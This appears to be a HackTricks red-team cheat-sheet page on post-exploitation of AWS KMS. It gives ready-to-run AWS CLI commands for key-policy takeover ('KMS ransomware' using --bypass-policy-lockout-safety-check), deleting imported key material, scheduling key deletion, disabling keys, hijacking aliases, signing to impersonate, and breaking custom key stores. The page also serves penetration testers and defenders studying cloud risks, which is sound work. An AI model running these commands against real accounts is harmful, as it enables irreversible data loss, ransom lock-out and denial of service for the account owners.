AWS - KMS Post Exploitation

Reading time: 7 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

KMS

For more information check:

AWS - KMS Enum

Encrypt/Decrypt information

fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:

  • fileb://: Reads the file in binary mode, commonly used for non-text files.
  • file://: Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements.

tip

Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://)

  • Using a symmetric key
bash
# Encrypt data
aws kms encrypt \
    --key-id f0d3d719-b054-49ec-b515-4095b4777049 \
    --plaintext fileb:///tmp/hello.txt \
    --output text \
    --query CiphertextBlob | base64 \
    --decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
    --ciphertext-blob fileb://ExampleEncryptedFile \
    --key-id f0d3d719-b054-49ec-b515-4095b4777049 \
    --output text \
    --query Plaintext | base64 \
    --decode
  • Using a asymmetric key:
bash
# Encrypt data
aws kms encrypt \
    --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
    --encryption-algorithm RSAES_OAEP_SHA_256 \
    --plaintext fileb:///tmp/hello.txt \
    --output text \
    --query CiphertextBlob | base64 \
    --decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
    --ciphertext-blob fileb://ExampleEncryptedFile \
    --encryption-algorithm RSAES_OAEP_SHA_256 \
    --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
    --output text \
    --query Plaintext | base64 \
    --decode

KMS Ransomware

An attacker with privileged access over KMS could modify the KMS policy of keys and grant his account access over them, removing the access granted to the legit account.

Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account.

warning

Note that AWS managed keys aren't affected by this attack, only Customer managed keys.

Also note the need to use the param --bypass-policy-lockout-safety-check (the lack of this option in the web console makes this attack only possible from the CLI).

bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
    --policy-name default \
    --policy file:///tmp/policy.yaml \
    --bypass-policy-lockout-safety-check

{
    "Id": "key-consolepolicy-3",
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "Enable IAM User Permissions",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::<your_own_account>:root"
            },
            "Action": "kms:*",
            "Resource": "*"
        }
    ]
}

caution

Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account.

Generic KMS Ransomware

There is another way to perform a global KMS Ransomware, which would involve the following steps:

  • Create a new key with a key material imported by the attacker
  • Re-encrypt older data of the victim encrypted with the previous version with the new one.
  • Delete the KMS key
  • Now only the attacker, who has the original key material could be able to decrypt the encrypted data

Delete Keys via kms:DeleteImportedKeyMaterial

With the kms:DeleteImportedKeyMaterial permission, an actor can delete the imported key material from CMKs with Origin=EXTERNAL (CMKs that have imperted their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.

bash
aws kms delete-imported-key-material --key-id <Key_ID>

Destroy keys

Destroying keys it's possible to perform a DoS.

bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
    --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
    --pending-window-in-days 7

caution

Note that AWS now prevents the previous actions from being performed from a cross account:

Change or delete Alias

This attack deletes or redirects AWS KMS aliases, breaking key resolution and causing immediate failures in any services that rely on those aliases, resulting in a denial-of-service. With permissions like kms:DeleteAlias or kms:UpdateAlias an attacker can remove or repoint aliases and disrupt cryptographic operations (e.g., encrypt, describe). Any service that references the alias instead of the key ID may fail until the alias is restored or correctly remapped.

bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
  --alias-name alias/<key_alias> \
  --target-key-id <new_target_key>

Cancel Key Deletion

With permissions like kms:CancelKeyDeletion and kms:EnableKey, an actor can cancel a scheduled deletion of an AWS KMS customer master key and later re-enable it. Doing so recovers the key (initially in Disabled state) and restores its ability to decrypt previously protected data, enabling exfiltration.

bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
  --key-id <Key_ID>

## Second enable the key
aws kms enable-key \
  --key-id <Key_ID>

Disable Key

With the kms:DisableKey permission, an actor can disable an AWS KMS customer master key, preventing it from being used for encryption or decryption. This breaks access for any services that depend on that CMK and can cause immediate disruptions or a denial-of-service until the key is re-enabled.

bash
 aws kms disable-key \
  --key-id <key_id>

Derive Shared Secret

With the kms:DeriveSharedSecret permission, an actor can use a KMS-held private key plus a user-supplied public key to compute an ECDH shared secret.

bash
aws kms derive-shared-secret \
  --key-id <key_id> \
  --public-key fileb:///<route_to_public_key> \
  --key-agreement-algorithm <algorithm>

Impersonation via kms:Sign

With the kms:Sign permission, an actor can use a KMS-stored CMK to cryptographically sign data without exposing the private key, producing valid signatures that can enable impersonation or authorize malicious actions.

bash
aws kms sign \
  --key-id <key-id> \
  --message fileb://<ruta-al-archivo> \
  --signing-algorithm <algoritmo> \
  --message-type RAW

DoS with Custom Key Stores

With permissions like kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore, or kms:UpdateCustomKeyStore, an actor can modify, disconnect, or delete an AWS KMS Custom Key Store (CKS), making its master keys inoperable. That breaks encryption, decryption, and signing operations for any services that rely on those keys and can cause an immediate denial-of-service. Restricting and monitoring those permissions is therefore critical.

bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks